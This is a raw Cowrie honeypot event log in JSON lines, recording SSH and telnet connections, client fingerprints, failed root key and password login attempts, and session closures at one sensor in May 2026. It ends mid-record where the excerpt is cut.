{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:13.281631Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:3d:09:60:77:b0:c3:18:4f:ae:d7:2c:23:72:29:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/DFTBD22Cxy80dSFfMl5Iwdt9BoZd1N7AtQwqJXdFumE+CAIeLT+ZkrEL0ZjMkvJQOLA8+pWIG9X6VESudrSIzFyDc0NktkeKIoNw2mWbjYbQRMfMHnMrSYsZP7WnBV2IkTh2asMB6BWo4KVFTAc2uLVUSFBDJBn6BShiVLYzJRQ3SgbfWb/FzDy7G2jXLiB7WLL1prgq+XvGULMTGducqJ/X9jzUjzkCNGFQSvM7zUWq+jwsc6+gDX5EUGaunFvAsk1tbTiy77XDGDFHk36XXQQSOhFm09hZv5wOoryNncuKWtEr5OxbOnPHbLFX6ontXZtEatiKrjgVQU1ZYoTqhqyMA4+YsIsYHbMGRPLeF8h7hIiuDtLJgOM4GRYHx6vxdWyQ/5MHJsiQ7DGXVuPxoxONMIvZzIBUaQyorrh2PJ/BcE9w5JZ1STwOgGkmOCErAWB1/9Bfemmp+A7OrEPcj3nQQx13IZ2eRO0iTvUXdWdYxiClNOrMiqlDRBfAKSbdADFYvXh9E/i55jyIJYWlVY70hoNdORJR0GxCrHPg2kHLNqiPgjRIEs/anLedWry8coWMTRUVOEs/NzNOv4pA1yfTduiYuKELKznGKykP6OKPOlRVknIsZSGxeUZFVMc6S97LbEhUdYqRUj72BDIrsn+9rPW8m44xvXxDxabAew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:3d:09:60:77:b0:c3:18:4f:ae:d7:2c:23:72:29:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:13.739541Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:3d:09:60:77:b0:c3:18:4f:ae:d7:2c:23:72:29:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/DFTBD22Cxy80dSFfMl5Iwdt9BoZd1N7AtQwqJXdFumE+CAIeLT+ZkrEL0ZjMkvJQOLA8+pWIG9X6VESudrSIzFyDc0NktkeKIoNw2mWbjYbQRMfMHnMrSYsZP7WnBV2IkTh2asMB6BWo4KVFTAc2uLVUSFBDJBn6BShiVLYzJRQ3SgbfWb/FzDy7G2jXLiB7WLL1prgq+XvGULMTGducqJ/X9jzUjzkCNGFQSvM7zUWq+jwsc6+gDX5EUGaunFvAsk1tbTiy77XDGDFHk36XXQQSOhFm09hZv5wOoryNncuKWtEr5OxbOnPHbLFX6ontXZtEatiKrjgVQU1ZYoTqhqyMA4+YsIsYHbMGRPLeF8h7hIiuDtLJgOM4GRYHx6vxdWyQ/5MHJsiQ7DGXVuPxoxONMIvZzIBUaQyorrh2PJ/BcE9w5JZ1STwOgGkmOCErAWB1/9Bfemmp+A7OrEPcj3nQQx13IZ2eRO0iTvUXdWdYxiClNOrMiqlDRBfAKSbdADFYvXh9E/i55jyIJYWlVY70hoNdORJR0GxCrHPg2kHLNqiPgjRIEs/anLedWry8coWMTRUVOEs/NzNOv4pA1yfTduiYuKELKznGKykP6OKPOlRVknIsZSGxeUZFVMc6S97LbEhUdYqRUj72BDIrsn+9rPW8m44xvXxDxabAew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:13.744526Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:8f:b1:9f:f3:09:fa:f0:48:79:f3:87:df:e6:f2:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY1KjG2u/4pXnsCqIS364+aazVPFyMUM7SdT/rv0b1AJVJ6JIvx7jVhb/39d9KEmPn6XT1yRQWkMte7jjQ8x+oXvZD0YdRnSRmmcwUEs5iPzYl8W58ylbDUWN8lVmiVeSK/OyzeYDOc5wMLHjmEsYrutA+UftlFxutF8aVKSudUl47+JjgIjNw+FTTkePxNYUgMBlXx6FitoXp/9IN8mYtRZfsHPJ0VANBJwooTcmGhyVnenIqxqIMfD9qo6qm8Qa7JY9KTuXqX9eb5a7X0Tp+Tg+p4BpPDeFYpADdEkcqHdtPZbDF0/4hgPCPwvK7Xh7vLEKjSR0bInDGKxTKCdUx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:8f:b1:9f:f3:09:fa:f0:48:79:f3:87:df:e6:f2:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:13.844890Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:8f:b1:9f:f3:09:fa:f0:48:79:f3:87:df:e6:f2:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY1KjG2u/4pXnsCqIS364+aazVPFyMUM7SdT/rv0b1AJVJ6JIvx7jVhb/39d9KEmPn6XT1yRQWkMte7jjQ8x+oXvZD0YdRnSRmmcwUEs5iPzYl8W58ylbDUWN8lVmiVeSK/OyzeYDOc5wMLHjmEsYrutA+UftlFxutF8aVKSudUl47+JjgIjNw+FTTkePxNYUgMBlXx6FitoXp/9IN8mYtRZfsHPJ0VANBJwooTcmGhyVnenIqxqIMfD9qo6qm8Qa7JY9KTuXqX9eb5a7X0Tp+Tg+p4BpPDeFYpADdEkcqHdtPZbDF0/4hgPCPwvK7Xh7vLEKjSR0bInDGKxTKCdUx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:13.851716Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:35:89:d7:dd:71:13:0c:b9:f5:74:f9:8e:f9:f4:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCk9gytK6yyVtbZe8A8WBJcJN6VEVM22WfFl0PDmLKqyKm292v/F7AkPgjdBAVbTfcho8E+H8suTcaeDhjtnxfm/zg7DbCnuE08uDPZ/K+/lx3tsCQbsH7ShAv9RojUjmE9iVFfS+uX8AOIKaibX9PgI8B0crEnuJF/Sb1ca5FNpx3LmLUOcU7chPVwhiaMVz8pFYDbBFbOxcrL74bgUPykhgAf53r0T66i8EwHyqbZivIywUSoM18o4Q3gYba9wBV94v9EDfYEUAN/FNrDMPD66PR+U3+rFnapZezVMgRa5fUuaR982IB/VRfnLpxBe3taqEsdOSXUIKwlJ/3axmlhES31UUHogEg8W8AhGahfVkayRsYVCDQaYVmCvZO9o56CtR4MoJE9XRINjEipMfqsc5r3y8ZbplWuXpLqQTHynUzsibigb66CGmSVdYGSBImr3XNPCxxWCgOsZEYrd85DFEbH7C+W3crpbG2a8v2S1MJyecskJ9A6RnTBc5j/Ul3u/mfjM49sdxZMaKYXRA1qVZWF+EtDAkuRPZkmJYyOUQPqMA+IDCvjGrQ6duR7VugQ0ipN3ei83uBK99ybHzHhASU2sP9LYsBP10Sy8/+PLvsZc/9XPqw1+3C9vPFiAWOwmLtgszqMyWnAculsWK6+6q2xRkyYk68cqEp/vWKOrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:35:89:d7:dd:71:13:0c:b9:f5:74:f9:8e:f9:f4:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:13.952534Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:35:89:d7:dd:71:13:0c:b9:f5:74:f9:8e:f9:f4:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCk9gytK6yyVtbZe8A8WBJcJN6VEVM22WfFl0PDmLKqyKm292v/F7AkPgjdBAVbTfcho8E+H8suTcaeDhjtnxfm/zg7DbCnuE08uDPZ/K+/lx3tsCQbsH7ShAv9RojUjmE9iVFfS+uX8AOIKaibX9PgI8B0crEnuJF/Sb1ca5FNpx3LmLUOcU7chPVwhiaMVz8pFYDbBFbOxcrL74bgUPykhgAf53r0T66i8EwHyqbZivIywUSoM18o4Q3gYba9wBV94v9EDfYEUAN/FNrDMPD66PR+U3+rFnapZezVMgRa5fUuaR982IB/VRfnLpxBe3taqEsdOSXUIKwlJ/3axmlhES31UUHogEg8W8AhGahfVkayRsYVCDQaYVmCvZO9o56CtR4MoJE9XRINjEipMfqsc5r3y8ZbplWuXpLqQTHynUzsibigb66CGmSVdYGSBImr3XNPCxxWCgOsZEYrd85DFEbH7C+W3crpbG2a8v2S1MJyecskJ9A6RnTBc5j/Ul3u/mfjM49sdxZMaKYXRA1qVZWF+EtDAkuRPZkmJYyOUQPqMA+IDCvjGrQ6duR7VugQ0ipN3ei83uBK99ybHzHhASU2sP9LYsBP10Sy8/+PLvsZc/9XPqw1+3C9vPFiAWOwmLtgszqMyWnAculsWK6+6q2xRkyYk68cqEp/vWKOrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:13.960583Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:e4:e1:d1:c6:eb:8e:4f:73:e7:c6:b4:12:e0:6b:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFeWzITJ1GamYsNjX61ad0CS9DrAwLWFUgJuHKCIvKPgBksHg3d+9x2zq7hHp8/ufDl4FsLxNotDuJV7hkAUTnlbRC1LMUp8Vz9vdzeXczB6SAy3x+JBvDJ+7eA85YndAbzShCoeazNDEmVttGp8g0skqt6OGXIowW3S1wFsOaAcdroDrBOINXxP1sQTP4q3WhjK9L20q0nZwK7Okd/VbGktVbCKnGTl5L0zh0RoDiBznMCHxS/cuVLZTFJxaNGS4DuhVXnzN8eQCDQwVX6VbizpjfNyFeScW6ttXp0clpajXyiT0EyGpTk2A2+gWOPWQ8PJxgJvR/aIdnGX3HnTSePY5cp/svxx0t6l+J5tINo17yWenuEAFVIJMZC8KldU+TF17OApkpeoczkMivY1EYXKVrL0BiVXPml29EA94ZDqFPrPnTYH7SqcR2WOg6mQptFjsELKNUWQd2g/8u8QIhVYUUW8bZplhXAdeYb2+6KbPsvZmBlOgWpljOxRrDXlE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:e4:e1:d1:c6:eb:8e:4f:73:e7:c6:b4:12:e0:6b:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:14.060701Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:e4:e1:d1:c6:eb:8e:4f:73:e7:c6:b4:12:e0:6b:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFeWzITJ1GamYsNjX61ad0CS9DrAwLWFUgJuHKCIvKPgBksHg3d+9x2zq7hHp8/ufDl4FsLxNotDuJV7hkAUTnlbRC1LMUp8Vz9vdzeXczB6SAy3x+JBvDJ+7eA85YndAbzShCoeazNDEmVttGp8g0skqt6OGXIowW3S1wFsOaAcdroDrBOINXxP1sQTP4q3WhjK9L20q0nZwK7Okd/VbGktVbCKnGTl5L0zh0RoDiBznMCHxS/cuVLZTFJxaNGS4DuhVXnzN8eQCDQwVX6VbizpjfNyFeScW6ttXp0clpajXyiT0EyGpTk2A2+gWOPWQ8PJxgJvR/aIdnGX3HnTSePY5cp/svxx0t6l+J5tINo17yWenuEAFVIJMZC8KldU+TF17OApkpeoczkMivY1EYXKVrL0BiVXPml29EA94ZDqFPrPnTYH7SqcR2WOg6mQptFjsELKNUWQd2g/8u8QIhVYUUW8bZplhXAdeYb2+6KbPsvZmBlOgWpljOxRrDXlE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:14.065638Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:ea:5a:b1:cd:13:99:4e:6c:5a:a1:ae:68:87:6b:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzSX7giTZ9sXMspALT3kxQAc1Lrf1jBwWdahKMUff1aRLAtmRtTNF/l4ISBuPx53ZTFGbVFt3t9QPoEGk9M95s52FRtzfVI1iB8dgHJn2WfeaPOjBJxNDPrVx7yT+/POan3M50XeTInqN17QUbOG9spIW/K+wEoO5Q1d/LHyHyvzXYVwzzjlVQI/l33O853KbzXEftBbYukuppNH7kSyWi3PEwIRb1swCXWO0mpfy7wo/mx4A1acTVfnvrIPxPOZPzD/XX1HYxWdtyMX9VLsFveI4pVXXQW1NUY0w1xF3UzwHglFNxGYJ11PQhRQCmD+dzgEKKqiP1z9yO70MiliBRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:ea:5a:b1:cd:13:99:4e:6c:5a:a1:ae:68:87:6b:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:14.166243Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:ea:5a:b1:cd:13:99:4e:6c:5a:a1:ae:68:87:6b:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzSX7giTZ9sXMspALT3kxQAc1Lrf1jBwWdahKMUff1aRLAtmRtTNF/l4ISBuPx53ZTFGbVFt3t9QPoEGk9M95s52FRtzfVI1iB8dgHJn2WfeaPOjBJxNDPrVx7yT+/POan3M50XeTInqN17QUbOG9spIW/K+wEoO5Q1d/LHyHyvzXYVwzzjlVQI/l33O853KbzXEftBbYukuppNH7kSyWi3PEwIRb1swCXWO0mpfy7wo/mx4A1acTVfnvrIPxPOZPzD/XX1HYxWdtyMX9VLsFveI4pVXXQW1NUY0w1xF3UzwHglFNxGYJ11PQhRQCmD+dzgEKKqiP1z9yO70MiliBRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:14.171241Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:14.271526Z","src_ip":"78.111.67.246","session":"deebe28f9e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.12473702430725,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:17.832874Z","src_ip":"152.42.224.71","session":"8740a5667114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.62895846366882,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:27.162794Z","src_ip":"152.42.224.71","session":"323f33e9d50e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":57942,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ebe740979cd","protocol":"ssh","message":"New connection: 89.108.118.91:57942 (10.17.0.5:22) [session: 5ebe740979cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:33.218302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:33.223856Z","src_ip":"89.108.118.91","session":"5ebe740979cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:33.362546Z","src_ip":"89.108.118.91","session":"5ebe740979cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzz111","message":"login attempt [root/zzz111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:33.788469Z","src_ip":"89.108.118.91","session":"5ebe740979cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:34.930200Z","src_ip":"89.108.118.91","session":"5ebe740979cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60332,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c38cfefbd1c","protocol":"telnet","message":"New connection: 152.42.224.71:60332 (10.17.0.5:23) [session: 5c38cfefbd1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:35.314449Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33448,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f63516ddb7f","protocol":"telnet","message":"New connection: 152.42.224.71:33448 (10.17.0.5:23) [session: 2f63516ddb7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:41.105952Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":39876,"dst_ip":"159.203.135.109","dst_port":22,"session":"1079a2ca4166","protocol":"ssh","message":"New connection: 43.156.28.136:39876 (159.203.135.109:22) [session: 1079a2ca4166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:51.276250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:51.282036Z","src_ip":"43.156.28.136","session":"1079a2ca4166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:51.528024Z","src_ip":"43.156.28.136","session":"1079a2ca4166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1","message":"login attempt [ftpuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:52.539736Z","src_ip":"43.156.28.136","session":"1079a2ca4166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:53.787499Z","src_ip":"43.156.28.136","session":"1079a2ca4166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0040819644928,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:40:59.427772Z","src_ip":"152.42.224.71","session":"af83673738fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.176.100","src_port":38718,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c6caf6a6069","protocol":"ssh","message":"New connection: 86.111.176.100:38718 (10.17.0.5:22) [session: 9c6caf6a6069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:02.755357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:02.761510Z","src_ip":"86.111.176.100","session":"9c6caf6a6069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-c